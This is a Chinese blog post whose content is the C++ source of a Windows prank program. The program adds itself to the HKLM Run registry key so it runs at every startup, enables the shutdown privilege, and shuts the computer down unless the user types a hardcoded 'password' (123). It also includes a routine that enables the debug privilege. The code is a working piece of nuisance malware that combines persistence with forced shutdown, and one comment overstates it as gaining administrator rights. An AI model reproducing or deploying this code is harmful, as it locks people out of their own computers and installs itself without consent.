#include "stdafx.h"
#include <stdio.h>
#include <iomanip>
#include <iostream>
#include <Windows.h>
using namespace std;

//获取电脑管理员权限
void GetPrivilege()
{

	HANDLE hToken;
	TOKEN_PRIVILEGES tkp;
	if(!OpenProcessToken(
		GetCurrentProcess(),
		TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
		&hToken))
		printf("OpenProcessToken failed");

	LookupPrivilegeValue(NULL,
		SE_SHUTDOWN_NAME,
		&tkp.Privileges[0].Luid);
	tkp.PrivilegeCount=1;
	tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

	AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);
	if(GetLastError()!=ERROR_SUCCESS)
		printf("AdjustTokenPrivileges");
}


//打开注册表 RegOpenKeyEx
//修改注册表的值 RegSetValueEx

void AutoRun()
{
	HKEY hKey={0};
	DWORD err=RegOpenKeyExW(HKEY_LOCAL_MACHINE,L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey);
	if(err!=ERROR_SUCCESS)
	{
		cout<<"RegOPenKeyExW failed"<<endl;
	}

	char szPath[MAXBYTE]={0};
	GetModuleFileNameA(NULL,szPath,MAXBYTE);
	err=RegSetValueExA(hKey,"AutoRun",0,REG_SZ,(byte*)szPath,sizeof(szPath));
	if(err!=ERROR_SUCCESS)
	{
		cout<<"RegSetValueEx failed"<<endl;
	}
}

int _tmain(int argc, _TCHAR* argv[])    
{
	GetPrivilege();
	cout<<"输入开机密码,否则关机重启"<<\'\n\'<<"密码:";
	int nPassword=123;
	cin>>nPassword;
	AutoRun();
	if(nPassword!=123)
	{
		ExitWindowsEx(EWX_SHUTDOWN,0);
		//cout<<"我很帅气"<<endl;
	}
	system("pause");
	return 0;
}

//进程提权

BOOL ElevatePrivileges()
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
return FALSE;
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid);
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
{
return FALSE;
}

return TRUE;
}





  

版权声明:本文为gd-luojialin原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/gd-luojialin/p/10963179.html